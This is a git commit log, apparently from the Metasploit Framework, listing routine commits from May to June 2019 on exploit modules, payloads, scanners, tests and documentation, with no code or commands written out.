William Vu fe5bc8242f Add cmd/unix support 2019-06-02 11:19:44 -05:00
William Vu 852cd6c6c6 Note unused variables 2019-06-02 11:19:30 -05:00
William Vu 290741719c Add default VID to post/multi/manage/play_youtube 2019-06-02 11:01:57 -05:00
Brent Cook d3354152ab Land #11913, remove older Ruby's from test matrix 2019-06-02 10:48:27 -05:00
Tom Sellers 23139c5000 Bluekeep: add TLS, refactor 2019-06-02 10:02:09 -05:00
CCob aaa017e9cd Fix issue where Linux x64 shell_find_port did not set the sockaddr_len value 2019-06-02 09:23:09 +01:00
Metasploit 3ddd68394b automatic module_metadata_base.json update 2019-06-01 19:46:11 -07:00
Brent Cook 817d3ce081 Land #11477, add Exploit for CVE-2018-4233 and async_wait for iOS 10 to 11.2 2019-06-01 21:24:44 -05:00
Tim W 18c825d7fa update mettle payloads gem to include dylib 2019-06-02 10:22:30 +08:00
Tim W 6921ca74d8 add exploit binary 2019-06-02 10:19:24 +08:00
Tim W d0cce0a6a4 offsets for iPhone 5S 10.2.1 2019-06-02 10:19:24 +08:00
Tim W d2c43ea30b add documentation 2019-06-02 10:19:24 +08:00
Tim W 5b708532b4 use MetasploitPayloads to_binary 2019-06-02 10:19:24 +08:00
Tim W c659a1e5b4 add description 2019-06-02 10:19:24 +08:00
Tim W 448782a927 fix build when missing IOKit headers 2019-06-02 10:19:24 +08:00
Tim W aabe316662 fixes for iOS 10 2019-06-02 10:19:24 +08:00
Tim W 2b54d411f6 fix iOS 11 offset cache 2019-06-02 10:19:24 +08:00
Tim W e6a8d66460 fix iOS 10 again 2019-06-02 10:19:24 +08:00
Tim W b7574f2dd8 cleanup 2019-06-02 10:19:24 +08:00
Tim W 90da47627b fix file-map-executable 2019-06-02 10:19:24 +08:00
Tim W d2eec0fef2 trustcache 2019-06-02 10:19:24 +08:00
Tim W 7156b1b31f uid0 2019-06-02 10:19:24 +08:00
Tim W 70aa762958 tfp0 via async_wake 2019-06-02 10:19:24 +08:00
Tim W 6d9385cb8a ios 11 faf 2019-06-02 10:19:24 +08:00
Tim W b142115c82 fix iOS 11.0.2 2019-06-02 10:19:24 +08:00
Tim W 6f6cf443b6 begin iOS 11 2019-06-02 10:19:24 +08:00
Tim W 33a4866c36 add offset cache 2019-06-02 10:19:24 +08:00
Tim W dd8b3d2b94 fix 10_3_2 2019-06-02 10:19:24 +08:00
Tim W f15e70ea03 various fixes 2019-06-02 10:19:24 +08:00
Tim W f7ee0234b6 fix liboffsetfinder64 2019-06-02 10:19:24 +08:00
Tim W f1392e1828 compile liboffsetfinder64 2019-06-02 10:19:24 +08:00
Tim W 9d0ab73b33 fix build 2019-06-02 10:19:24 +08:00
Tim W 3d414dac74 add hash to trust cache 2019-06-02 10:19:24 +08:00
Tim W 32af9cb897 Initial commit of CVE-2018-4233 for iOS 10 2019-06-02 10:19:24 +08:00
Metasploit 28d671ca03 automatic module_metadata_base.json update 2019-06-01 10:33:05 -07:00
Brent Cook 1de4a83d13 Land #11902, add missing cmd/unix/reverse_bash_udp test 2019-06-01 12:09:56 -05:00
Brent Cook 4286068154 Land #11906, fix osx 10.7 hash IDing and JTR IDs 2019-06-01 12:05:35 -05:00
Tim W 103afc6568 fix screenshare 2019-06-02 00:16:13 +08:00
suzu991154 0a6f1d5538 Add support for Windows 10(10240) to CVE-2015-5122 2019-06-01 14:44:30 +09:00
bwatters-r7 1ed6187212 Undo changes to windows/bind_tcp 2019-05-31 18:47:54 -05:00
Brent Cook 53557cc92e replace trivial usage of expand_path with getenv
expand_path is not implemented consistently across platforms and
sessions, which leads to confusing behavior. In places where we have trivial
single variable expansions, this changes modules and library code to just use
getenv.

We'll look at the rest individually to see if they can also be reimplemented in
terms of getenv.
2019-05-31 17:44:35 -05:00
Brent Cook 3cff008d73 Land #11915, raise exceptions directly 2019-05-31 15:18:02 -05:00
Brent Cook 621d404a27 fix tests, handle stdin properly 2019-05-31 15:02:59 -05:00
Jacob Robles 7c29c56880 Bubble error
Raise Validation error that is checked for
2019-05-31 14:57:33 -05:00
William Vu cb39f72808 Land #11911, Java payload fixes 2019-05-31 14:56:41 -05:00
Brent Cook d988fe6e5c handle invalid payloads more clearly
Currently, if you have an error in a payload module (e.g. you have a syntax
error in a module), the error is not noticed early enough in the generation process by the parameter validator, leading to a mysterious message like so:

```
Error: undefined method `platform' for nil:NilClass
```

This change cleans up some of the error handling, checks to see if the payload
module can be instantiated, and gives a more useful error output for the
different cases. This also tweaks some of the literal string outputs to match
other exception strings from payload_generator.
2019-05-31 14:32:49 -05:00
Brent Cook 93d1b955c5 also kill 2.4.x 2019-05-31 14:09:36 -05:00
Chris Higgins 01de6954fe Land #11912, Bigdecimal boot 2019-05-31 14:04:20 -05:00
Jeffrey Martin bd67ecd0dc add missing cmd/unix/reverse_bash_udp test 2019-05-31 13:53:12 -05:00
Jacob Robles e9d0dc7518 Workspace arg used in call to func 2019-05-31 13:17:59 -05:00
Jacob Robles 37b0809e05 Remove workspace call
The #workspace call wasn't running as expected when using
the data service. It was ending up in infinite recursion.
2019-05-31 13:08:27 -05:00
Brent Cook 068f8f98f7 remove Ruby 2.3.8 from Metasploit test matrix
Ruby 2.3.8 is no longer supported:
https://www.ruby-lang.org/en/news/2018/10/17/ruby-2-3-8-released/
2019-05-31 12:57:38 -05:00
Brent Cook 73c8e803fe Land #11892, Fix parse IPv6 address in reverse_http 2019-05-31 12:41:36 -05:00
Brent Cook d9d0639a91 move BigDecimal patch earlier in boot process
This makes msfvenom also quiet about the impending deprecation.
2019-05-31 12:31:35 -05:00
Brent Cook 526df180b1 fix java/android cmd_exec and shell_command_token
This change fixes a race condition in the cmd_exec tests and rapid7/metasploit-framework#11530

From https://github.com/rapid7/metasploit-payloads/pull/334
2019-05-31 11:11:01 -05:00
Metasploit 8295aebf3a automatic module_metadata_base.json update 2019-05-31 07:54:05 -07:00
Brent Cook 23e59c9e66 Land #11838, add keyboard and mouse input controls on Windows/MacOS 2019-05-31 09:35:01 -05:00
Brent Cook b9af69a5be update payloads 2019-05-31 09:32:44 -05:00
Brent Cook edefc52bbd Merge branch 'master' into land-11838- 2019-05-31 09:29:25 -05:00
Jeffrey Martin b14a40f564 Land #11887, Fix multi meterpreter_reverse_http handler to not care so much about the workspace. 2019-05-30 18:32:57 -05:00
h00die 06256cc05b fix osx 10.7 hash IDing, and JTR ids 2019-05-30 18:33:45 -04:00
bwatters-r7 d5198069ff Stupid last trailing space 2019-05-30 16:45:08 -05:00
Jake Blank 933cf25efb add live remote screensharing/monitoring 2019-05-31 05:26:38 +08:00
bwatters-r7 b7da6c4492 Fix some spacing 2019-05-30 16:09:33 -05:00
bwatters-r7 11be752a2f Reset changes to Gemfile.lock 2019-05-30 14:30:12 -05:00
bwatters-r7 2f92d0f8a2 Shut up, nmsftidy.... I hope 2019-05-30 14:27:37 -05:00
bwatters-r7 139ea45dae Hold off on venom changes for a new PR 2019-05-30 14:19:17 -05:00
Shelby Pace c2786eb87c made suggested changes 2019-05-30 14:09:40 -05:00
Jacob Robles 1069c3de4f File cleanup 2019-05-30 13:36:28 -05:00
Metasploit 026b38eb71 Bump version of framework to 5.0.27 2019-05-30 10:06:32 -07:00
bwatters-r7 e3c85425ee Add the new file 2019-05-30 11:41:04 -05:00
bwatters-r7 b81001d486 Code deduplication 2019-05-30 11:40:57 -05:00
asoto-r7 22ad4dbf95 WIP: Adding default pingback payload to parent check method 2019-05-30 11:40:57 -05:00
asoto-r7 45197cf4ab Clean up requires and includes 2019-05-30 11:40:57 -05:00
asoto-r7 f118af18ea Clean up require's and calculate CachedSize 2019-05-30 11:40:57 -05:00
asoto-r7 f3cf6e8159 cmd/unix/pingback_reverse and cmd/unix/pingback_bind 2019-05-30 11:40:56 -05:00
bwatters-r7 2469d9e010 That's better..... 2019-05-30 11:40:56 -05:00
bwatters-r7 f8492c8b0b First swing at x86 windows reverse_tcp pingback
Still issues with the looping and counters.
2019-05-30 11:40:56 -05:00
bwatters-r7 a9e1bac5fb Remove extra stuff that was part of the staged attempt at pingback.
It is no longer required because pingback is now a single.
2019-05-30 11:40:54 -05:00
asoto-r7 4092221ca9 Ruby pingback payload (bind and reverse) 2019-05-30 11:40:09 -05:00
asoto-r7 920b034b03 Python pingback payload (reverse only) 2019-05-30 11:40:08 -05:00
asoto-r7 2184ad35b7 python pingback_bind_tcp: send UUID as raw bytes instead of ASCII 2019-05-30 11:40:08 -05:00
asoto-r7 0bcb94f989 Remove 'workspace' option from Mdm::Payload.create 2019-05-30 11:40:08 -05:00
asoto-r7 ce0525cb11 Update metasploit_data_models from 3.0.8 to 3.0.10 2019-05-30 11:40:05 -05:00
asoto-r7 27c41a165a Python pingback payload (bind only) 2019-05-30 11:38:47 -05:00
asoto-r7 ec01713d7e Linux pingback payloads 2019-05-30 11:38:47 -05:00
Aaron Soto c89fd1cc3f Add error handling for users without a database configured 2019-05-30 11:38:46 -05:00
Aaron Soto 6ac80d0f5a Enable database support in msfvenom to allow for saving UUIDs 2019-05-30 11:38:46 -05:00
Aaron Soto e83bdf7c7e Record UUID upon pingback_reverse_tcp generation and callback 2019-05-30 11:38:46 -05:00
Aaron Soto a61dd66d95 Record UUID upon reverse_tcp_pingback generation and callback 2019-05-30 11:38:40 -05:00
bwatters-r7 b12128a8d0 Fix odd edge case converting binary to hex string 2019-05-30 11:37:34 -05:00
bwatters-r7 1ab0a04f60 Use nonvolitile register for the counter
Change option name to match convention
2019-05-30 11:37:33 -05:00
bwatters-r7 b818d6d9d3 Updated to have a handler 2019-05-30 11:37:33 -05:00
bwatters-r7 a2f55947e6 Add support for pingback as a single and session... 2019-05-30 11:37:33 -05:00
bwatters-r7 e233ee38ea Let's try it as a single this time.... 2019-05-30 11:34:06 -05:00
bwatters-r7 c9c78ba707 Add new files 2019-05-30 11:34:06 -05:00
bwatters-r7 bd65f81627 Add pingback changes 2019-05-30 11:33:46 -05:00
bwatters-r7 535dc343b9 Maybe stage the new files, too 2019-05-30 11:30:55 -05:00
Aaron Soto e1271317ac REST API for async-callbacks, removed array datatypes, cleaned up Swagger 2019-05-30 11:30:55 -05:00
Aaron Soto afddfff3be WIP: REST API for async-callbacks, added UUID search 2019-05-30 11:30:55 -05:00
Aaron Soto 84acf0d09d WIP: Remove PUT and DELETE endpoints 2019-05-30 11:30:55 -05:00
Aaron Soto 86c054c5e3 Bring pingback-payload changes into public framework 2019-05-30 11:30:19 -05:00
Aaron Soto 85d35e6c87 WIP: REST API for async-callbacks 2019-05-30 11:25:48 -05:00
Shelby Pace 74812ffe4d Update modules/exploits/linux/http/librenms_addhost_cmd_inject.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-05-30 10:52:34 -05:00
Shelby Pace 8c11a1c95a Update modules/exploits/linux/http/librenms_addhost_cmd_inject.rb
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-05-30 10:51:57 -05:00
Metasploit eaaaab98f7 Bump version of framework to 5.0.26 2019-05-30 06:38:42 -07:00
Jacob Robles 4f6d55b773 Update documentation 2019-05-30 06:30:38 -05:00
Metasploit 4b3feb6280 automatic module_metadata_base.json update 2019-05-29 22:25:02 -07:00
William Vu 622e67d20a Land #11900, normalize_uri style fix 2019-05-30 00:16:16 -05:00
William Vu a0c6035380 Prefer initial slash in normalize_uri
I missed the indirect call in check. This decides on a style.

If a URI part contains a slash, we begin with a slash.
2019-05-30 00:08:17 -05:00
Metasploit 472103d16b automatic module_metadata_base.json update 2019-05-29 22:00:48 -07:00
Brent Cook 810d5e356f Land #11865, expand utility for allegro_rompager_auth_bypass 2019-05-29 23:40:37 -05:00
Brent Cook dee824434f Land #11898, only require pdf-reader if used 2019-05-29 23:35:17 -05:00
Jeffrey Martin 1833c97c8c more require for pdf-reader
In ruby 2,5+ on windows the ttfunk dependency loading causes ruby to crash so
only load this only when specifically required.
2019-05-29 22:36:50 -05:00
Shelby Pace 590b9748c1 changed file name and documentation 2019-05-29 18:30:39 -05:00
Shelby Pace 6606e1fed4 Update modules/exploits/linux/http/librenms_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-05-29 18:00:59 -05:00
Shelby Pace 5253d34dd3 Update modules/exploits/linux/http/librenms_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-05-29 18:00:07 -05:00
Shelby Pace 34528b1512 Update modules/exploits/linux/http/librenms_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-05-29 17:59:55 -05:00
Shelby Pace bd0109b328 add documentation 2019-05-29 15:51:53 -05:00
Shelby Pace fa1ce20e74 add note 2019-05-29 15:50:31 -05:00
Shelby Pace de081a08cd add working exploit 2019-05-29 15:09:23 -05:00
Metasploit ec168accb1 automatic module_metadata_base.json update 2019-05-29 11:11:02 -07:00
Jacob Robles 87e9fddd2f CMD Target Update
Generic payload auto-disables the handler so we don't have
to handle that now. Also, remove datastore modifications
in the module.
2019-05-29 13:09:21 -05:00
Jacob Robles 61b500d148 Land #11894, Note deprecated DIAL protocol in chromecast_youtube 2019-05-29 12:51:43 -05:00
William Vu 6580f14c3a Once more, with feeling 2019-05-29 12:19:52 -05:00
William Vu 78fca9f91a Suggest CASTV2 is unsupported 2019-05-29 11:50:53 -05:00
n̸̺̳̮̖͚̺̺͍̪̰͎̰͇̯̙̋ͣͣ̆̇ͥ̕n̷̑͐̑ͩ̾͗ͣ͐̏҉̣̞̖͖͕̗̞̳̯͚̖n̶̵̫̣͓͈͓̥̣̬̠̗̤͔͖̘̫̪̱͇̤̏ͯ̿ͫͥ͐̍͂͛͊̓͜͢n̨̡̙̼̗̳̿̂ͤ̑͆ͧ́͂̈n̷̸̛͙̘̙̪͔͕͖̻̹͇̮̰̖̣͓̖̫ͪͥ̓̑͒͟͠ņͤͤͯ̌̒̽́̎ͦ̃̈͆̿͒̊ͣ͏̡͎̪̗̻̱̭̲̤͈̞̦͇͍̤̪̥̳̙͘ͅn̨͇̦̭̞̹̗̞̖̪̤̗ͩ́̋͛͂̂̿ͭͭ̈͢ʌ̸̵͉̱͍̤͍̫̰̘͚̲̝̩̤̙͗̑ͥ̃̈́͌̔̿̉͒ͦ̿̈̋́̚̚̕͢ͅʍ̸̭̰̬̖͚͓̠̮͙͓̝̥̞̥͉̏̈ͩͥͣͣ̆ d3c92488ea Update documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-05-29 11:47:56 -05:00
William Vu 9ba1ac075a Add word 2019-05-29 11:46:45 -05:00
William Vu ba0ce74a35 Don't downcase anymore 2019-05-29 11:45:52 -05:00
William Vu 688b7ed7ab Update module doc 2019-05-29 11:44:11 -05:00
William Vu 6aac15b539 Add note about CASTV2 protocol 2019-05-29 11:39:19 -05:00
William Vu 472f2c0d0b Deprecate DIAL protocol in chromecast_youtube 2019-05-29 11:31:14 -05:00
Shelby Pace 6279136359 adding and deleting devices 2019-05-28 15:12:35 -05:00
Metasploit eb1592724a automatic module_metadata_base.json update 2019-05-28 09:47:37 -07:00
Jacob Robles ff6350183e Land #11882, oracle_login verbose message 2019-05-28 11:35:08 -05:00
Metasploit 2e1284f1c8 automatic module_metadata_base.json update 2019-05-28 09:28:33 -07:00
bwatters-r7 efaacbeb2a Land #11797, Added to code to remove payload once run.
Merge branch 'land-11797' into upstream-master
2019-05-28 11:12:00 -05:00
NoodleOfDeath 2a5233156f Updated wordlists to match generated script provided on https://github.com/rapid7/metasploit-framework/pull/11862 2019-05-28 12:02:03 -04:00
ssyy201506 ecda8d864a Fix incorrect parsing of IPv6 uri. 2019-05-28 16:41:34 +09:00
NickTyrer 4a359f5f5e format 2019-05-27 21:19:10 +01:00
h00die 01d80cef53 land #11888 doc update 2019-05-27 14:06:00 -04:00
NickTyrer a3b22cbec4 fix formatting 2019-05-27 18:04:24 +01:00
NickTyrer 4487ae7ad3 fix formatting 2019-05-27 18:01:40 +01:00
NickTyrer 73f234a48a address documentation issues raised by @cbrnrd 2019-05-27 17:55:58 +01:00
NickTyrer 894d817fd1 updated instructions function 2019-05-27 16:58:16 +01:00
NickTyrer ab20c24340 fix setting mod variables 2019-05-27 16:34:53 +01:00
Syed Umar Arfeen b92e5a1a6f Update autoroute.md
Mistakenly, the variable LPORT was used rather than SRVPORT. In case the user changes the port using LPORT, the proxychains won't work.
2019-05-27 12:01:44 +05:00
NickTyrer b7221a65a1 addressed issues raised by @cbrnrd 2019-05-26 22:18:43 +01:00
Matt Robinson 26eebb9620 Fix multi handler reverse_http to not care so much about the workspace. 2019-05-25 16:25:06 -04:00
Metasploit ce6db9c648 automatic module_metadata_base.json update 2019-05-25 12:11:05 -07:00
William Vu 73fe72e8d6 Land #11885, linux/armle/shell_bind_tcp ARGV0 fix 2019-05-25 13:54:27 -05:00
苇子 8af7ed9526 Update shell_bind_tcp.rb
fix a mistake in payloads/singles/linux/armle/shell_bind_tcp.rb
2019-05-25 17:51:30 +08:00
Metasploit 1242fe7b7b automatic module_metadata_base.json update 2019-05-24 16:53:58 -07:00
Brent Cook 4122c77c0c Land #11884, Fix rdp_scanner and update CVE-2019-0708 docs 2019-05-24 18:35:43 -05:00
William Vu 68a55cd9a9 Update CVE-2019-0708 module doc 2019-05-24 17:35:31 -05:00
William Vu 54eb73f8b8 Address @egypt's rdp_scanner review 2019-05-24 17:31:22 -05:00
Clément Notin 0c38780692 fix msftidy 2019-05-24 23:56:27 +02:00
NoodleOfDeath 7bd9608d5e Removed extraneous newline ending in wp-plugins.txt 2019-05-24 17:50:33 -04:00
Metasploit 0701ee1dbd Bump version of framework to 5.0.25 2019-05-24 14:45:04 -07:00
NoodleOfDeath d4e79cffe7 added wp-themes wordlist to reflect https://themes.svn.wordpress.org/ 2019-05-24 17:40:37 -04:00
NoodleOfDeath 9f3e4e0b65 modified wordlist to reflect https://plugins.svn.wordpress.org/ 2019-05-24 17:37:02 -04:00
asoto-r7 2abd90bcdf Land #11883, CVE-2019-0708 docs change to .md extension 2019-05-24 16:37:01 -05:00
Shelby Pace e16d144723 added base of module 2019-05-24 16:20:44 -05:00
Metasploit d897472414 automatic module_metadata_base.json update 2019-05-24 14:12:48 -07:00
Carter Brainerd 6d3307a25a .rb -> .md 2019-05-24 17:08:37 -04:00
asoto-r7 11b3feeaff Land #11869, auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-24 16:01:45 -05:00
asoto-r7 fa70461374 Add documentation 2019-05-24 16:01:07 -05:00
Clément Notin fe0cb19333 oracle_login: add verbose print error when login fails 2019-05-24 20:02:01 +02:00
zerosum0x0 82debcbada remove useless debug print 2019-05-24 11:23:25 -06:00
zerosum0x0 d0e2a36cdd Merge pull request #4 from wvu-r7/pr/11869
Add metadata and style fixes
2019-05-24 10:51:48 -06:00
Metasploit a25bcbacfd automatic module_metadata_base.json update 2019-05-24 09:45:45 -07:00
William Vu e3be9d2871 Restore syntactic sugar 2019-05-24 11:41:19 -05:00
Jacob Robles 55dcdace03 Land #11846, OATS Console War Deployment 2019-05-24 11:27:36 -05:00
William Vu d158cd131c Add metadata and style fixes 2019-05-24 11:25:58 -05:00
Wei Chen 318dc0ec1f Land #11811, add new target in doc for bpf_sign_extension_priv_esc 2019-05-24 10:49:25 -05:00
Wei Chen fcd360891f Check #attributes for nil, and make sure target is oats console 2019-05-24 10:06:47 -05:00
Metasploit a88c3a2366 automatic module_metadata_base.json update 2019-05-24 05:00:04 -07:00
Jacob Robles 527658dfbc Land #11822, Add CVE-2019-2557 OATS Directory Traversal 2019-05-24 06:40:25 -05:00
Metasploit 50d06fd2cf automatic module_metadata_base.json update 2019-05-24 00:30:24 -07:00
William Vu 9d0cf0661c Land #11857, cmd/unix/reverse_bash_udp payload 2019-05-24 02:19:44 -05:00
bcoles 2d6847ab5e Add alternative cmd payload 2019-05-24 16:33:44 +10:00
William Vu eb006fd2b3 Send to the socket to initiate the session 2019-05-24 00:01:06 -05:00
Metasploit 2d03e0c8f5 automatic module_metadata_base.json update 2019-05-23 16:36:02 -07:00
William Vu 380c639ef3 Land #11794, postgres_payload Postgres 8.2+ update 2019-05-23 18:23:58 -05:00
William Vu 4d2425c624 Land #11880, zero-index show command table 2019-05-23 18:08:55 -05:00
William Vu 019b177e31 Update show command to zero-index 2019-05-23 18:02:22 -05:00
Jeffrey Martin ec02907f8d Land #11879, Add multi-host tab completion to analyze command and fix range truncation bug 2019-05-23 16:01:42 -05:00
William Vu bea3659475 Fix truncated range 2019-05-23 15:41:38 -05:00
William Vu bd31999f1a Limit tab completion in a smarter way 2019-05-23 15:19:36 -05:00
Metasploit 094679317d automatic module_metadata_base.json update 2019-05-23 13:14:43 -07:00
Jeffrey Martin 9c7049c690 Land #11878, Add tab completion and MS17-010 support to analyze command 2019-05-23 14:58:25 -05:00
zerosum0x0 8067893d16 added FIXME for other info leaks 2019-05-23 13:57:49 -06:00
William Vu 9df782c9d9 Limit tab completion 2019-05-23 14:55:39 -05:00
zerosum0x0 e91301f2b7 remove user0 from cookie 2019-05-23 13:49:23 -06:00
William Vu 3f6530481d Add service to MS17-010 scanner 2019-05-23 14:37:12 -05:00
William Vu 2b7a77a0f4 Add tab completion to analyze command 2019-05-23 14:36:54 -05:00
NickTyrer f6eeb7b4b1 fix typo 2019-05-23 20:35:29 +01:00
William Vu e9aba85c9d Land #11877, analyze command nil fix 2019-05-23 14:30:15 -05:00
NickTyrer 9a6d56a8de fix typo 2019-05-23 20:29:11 +01:00
Metasploit 77356c9051 automatic module_metadata_base.json update 2019-05-23 12:16:08 -07:00
Brent Cook 0559fda9db Land #11873, allow calling methods across related modules 2019-05-23 13:56:27 -05:00
zerosum0x0 b511ff05fa change exception to an existing type 2019-05-23 12:42:40 -06:00
zerosum0x0 92cef57f04 remove hex_to_bin 2019-05-23 12:39:21 -06:00
Jacob Robles c36a72875c Fix end line 2019-05-23 12:35:45 -05:00
zerosum0x0 743abddeda Merge pull request #3 from jagotu/bluekeep
Bluekeep: RSA check
2019-05-23 11:09:09 -06:00
Metasploit c2e8b8962a Bump version of framework to 5.0.24 2019-05-23 10:06:40 -07:00
Jeffrey Martin d1895b3db9 restore analyze on framework object 2019-05-23 11:49:43 -05:00
Brent Cook 7d1762314e Land #11871, fix UUID tracking on payloads with latest MDM 2019-05-23 11:35:58 -05:00
Brent Cook bc5aa2ea3d Merge remote-tracking branch 'upstream/master' into land-11871 2019-05-23 11:35:20 -05:00
William Vu c9813cf379 Fix comments 2019-05-23 10:39:11 -05:00
Metasploit a6430e299c automatic module_metadata_base.json update 2019-05-23 06:17:09 -07:00
Jacob Robles 1fe981b8e2 Land #11843, Update MSB references 2019-05-23 08:07:46 -05:00
Metasploit 828d45877c automatic module_metadata_base.json update 2019-05-23 06:05:21 -07:00
bwatters-r7 1371c360e2 Land #11863, Bump mettle 0.5.13
Merge branch 'land-11863' into upstream-master
2019-05-23 07:56:10 -05:00
Jacob Robles db353a7ba1 Fix MS reference number 2019-05-23 07:03:23 -05:00
Jacob Robles a0e90c0848 Remove references to doc.microsoft.com bulletin
MSB references point to this location
2019-05-23 07:01:21 -05:00
Jacob Robles 5d2cd40010 Update MSB reference
Previous MSB references were redirecting to docs.microsoft.com
2019-05-23 07:00:23 -05:00
Metasploit 5170c2f54b automatic module_metadata_base.json update 2019-05-23 04:57:20 -07:00
Jacob Robles 0a2371a4b8 Land #11864, Add RCE vector to Jenkins ACL bypass 2019-05-23 06:09:56 -05:00
Jan Gocník e62cb4cc44 Bluekeep: RSA check 2019-05-23 10:57:22 +02:00
zerosum0x0 3ec0d7966f msftidy yelled at me 2019-05-23 00:05:02 -06:00
zerosum0x0 6745c70878 return status 2019-05-22 23:36:36 -06:00
zerosum0x0 2863120c9f change exception nesting and check messages 2019-05-22 22:58:25 -06:00
William Vu 7eb279e079 Use human_name in reverse_udp handler 2019-05-22 20:25:37 -05:00
Metasploit 71ba20b6b6 automatic module_metadata_base.json update 2019-05-22 18:08:22 -07:00
William Vu e836bdceca Force check only in ETERNALBLUE 2019-05-22 20:07:56 -05:00
William Vu 6007ae60a0 Fix #11860, my fingers don't work 2019-05-22 19:59:19 -05:00
William Vu b5622b160e Fix typo 2019-05-22 19:59:08 -05:00
William Vu 49c91c5171 Land #11860, pipe_auditor backslash normalization 2019-05-22 19:50:56 -05:00
William Vu 0febc730fa Clarify comment 2019-05-22 19:49:24 -05:00
William Vu 3e84f57544 Clarify comment 2019-05-22 18:34:02 -05:00
William Vu 5064f2ce01 Add ForceExploit 2019-05-22 17:50:31 -05:00
William Vu 690b15afc5 Check CheckCode 2019-05-22 17:40:39 -05:00
William Vu 78fb72fea3 Update ms17_010_psexec 2019-05-22 17:31:24 -05:00
William Vu c7ba2ade65 Convert to mixin 2019-05-22 17:27:11 -05:00
William Vu d0a2d9533f Use CheckCode 2019-05-22 16:51:33 -05:00
William Vu db299b71ce Add datastore option 2019-05-22 16:45:01 -05:00
William Vu fdec7613c0 Update comment 2019-05-22 16:30:10 -05:00
William Vu df425d33b5 Update constant name 2019-05-22 16:29:27 -05:00
William Vu 3a8baf0dec Add comment 2019-05-22 16:28:04 -05:00
William Vu ac8b1fdb7e Add some more error checking 2019-05-22 16:26:27 -05:00
William Vu b99de521c4 Add more comments 2019-05-22 16:14:02 -05:00
William Vu a994f728dd Update comment 2019-05-22 16:10:32 -05:00
William Vu 51fc705cb3 Add ForceExploit 2019-05-22 16:06:04 -05:00
William Vu 486caa7e69 Add some error checking 2019-05-22 15:58:26 -05:00
zerosum0x0 1a2367ae46 fixed pkt= 2019-05-22 14:55:34 -06:00
zerosum0x0 ec8509d9b1 remove renamed file 2019-05-22 14:52:11 -06:00
zerosum0x0 34b350ba48 added MS docs to packets and module info 2019-05-22 14:50:39 -06:00
zerosum0x0 a807ee4171 changing file name 2019-05-22 14:49:20 -06:00
William Vu 0f0faee680 Add check method to ms17_010_eternalblue 2019-05-22 15:42:57 -05:00
Wei Chen 388a391b9a Update oats_weblogic_console and its doc 2019-05-22 15:14:17 -05:00
William Vu 801af31d6f Update documentation 2019-05-22 15:03:44 -05:00
William Vu 0b4cc5b547 Update go_go_gadget2 2019-05-22 15:03:44 -05:00
William Vu 6d004862e4 Update go_go_gadget1 2019-05-22 15:03:44 -05:00
William Vu be89a4d9c5 Update exploit method 2019-05-22 15:03:05 -05:00
William Vu f70b3d13a0 Update metadata 2019-05-22 15:03:05 -05:00
Metasploit 1b202658de automatic module_metadata_base.json update 2019-05-22 12:40:18 -07:00
Wei Chen 7660b3cf7e Update oats_downloadservlet_traversal 2019-05-22 14:36:20 -05:00
William Vu f14ab6e2db Land #11868, iis_webdav_upload_asp disclosure date 2019-05-22 14:28:29 -05:00
William Vu 73aabd1adc Land #11861, WebLogic AsyncResponseService updates 2019-05-22 14:23:45 -05:00
Wei Chen ff0ad88598 Update weblogic_deserialize_asyncresponseservice.md for options 2019-05-22 14:19:30 -05:00
Wei Chen 9b9178a59a Update weblogic_deserialize_asyncresponseservice.md for outputs 2019-05-22 14:16:32 -05:00
Metasploit 2ddceb9cbe automatic module_metadata_base.json update 2019-05-22 11:58:13 -07:00
asoto-r7 fbd6040214 Lock metasploit_data_models at 3.0.10 to prevent future surprises 2019-05-22 13:32:40 -05:00
asoto-r7 865f214a85 Remove workspace dependency for creating and locating payloads 2019-05-22 13:32:00 -05:00
William Vu 7e4dc218e6 Remove extraneous backslash 2019-05-22 13:00:09 -05:00
zerosum0x0 4b786e2d9a module for XP/7 2019-05-22 11:30:43 -06:00
William Vu 4fab17358f Land #11847, jenkins_gather fixes 2019-05-22 11:44:42 -05:00
Tod Beardsley 5523dce897 Fix disclosure date for WebDAV module 2019-05-22 09:05:56 -04:00
Jeffrey Martin 310ee3b46b add advanced force to rompager 2019-05-21 15:52:32 -05:00
William Vu 3ffd6363f3 Add comment 2019-05-21 14:34:27 -05:00
bwatters-r7 aafc4483ea Bundle Fumble.... 2019-05-21 14:04:47 -05:00
bwatters-r7 068ba6e3f2 Update Payload cache sizes 2019-05-21 12:40:27 -05:00
bwatters-r7 a784866d70 Update Gemfile.lock 2019-05-21 12:36:57 -05:00
bwatters-r7 840552ee62 Update gemspec file to use the latest mettle v0.5.13 2019-05-21 12:12:15 -05:00
Metasploit c98d1ee48e automatic module_metadata_base.json update 2019-05-21 05:30:53 -07:00
Jacob Robles 6775685c08 Land #11661, Onion Omega2 login scanner 2019-05-21 06:59:44 -05:00
William Vu bb5ce078f3 Fix style 2019-05-21 01:23:26 -05:00
rwincey 99f3f6cb78 Added x64 arch and fixed exe gen 2019-05-20 23:45:26 -04:00
Metasploit 14fb26a528 automatic module_metadata_base.json update 2019-05-20 12:26:12 -07:00
Shelby Pace 0d6008862b Land #11805, add bsd targets to sshexec 2019-05-20 14:16:10 -05:00
Thom Morgan 7325ea669f Update pipe_auditor.rb 2019-05-20 14:35:32 -04:00
Shelby Pace 6633bfc28e Land #11808, add FreeBSD rtld privesc 2019-05-20 13:30:12 -05:00
NoodleOfDeath 5f889919b4 Added a wordlist of 1491 WordPress plugins that can be enumerated in the wp/wp-content/plugins directory 2019-05-20 14:30:02 -04:00
Metasploit 3019623369 automatic module_metadata_base.json update 2019-05-20 11:21:12 -07:00
Wei Chen 7986706f83 Update markdown description for the right CVE 2019-05-20 13:14:56 -05:00
Wei Chen 6847fcc199 Update CVE reference and datastore options for WebLogic exploit 2019-05-20 13:10:06 -05:00
bwatters-r7 966582a10c Land #11833, moodle_cmd_exec nil check
Merge branch 'land-11833' into upstream-master
2019-05-20 13:08:11 -05:00
Brendan Coles b76507f1f3 Add FreeBSD rtld execl() Privilege Escalation module 2019-05-20 13:03:20 -05:00
Thom Morgan 4d9ae525c2 Update lib/msf/core/exploit/smb/client/pipe_auditor.rb
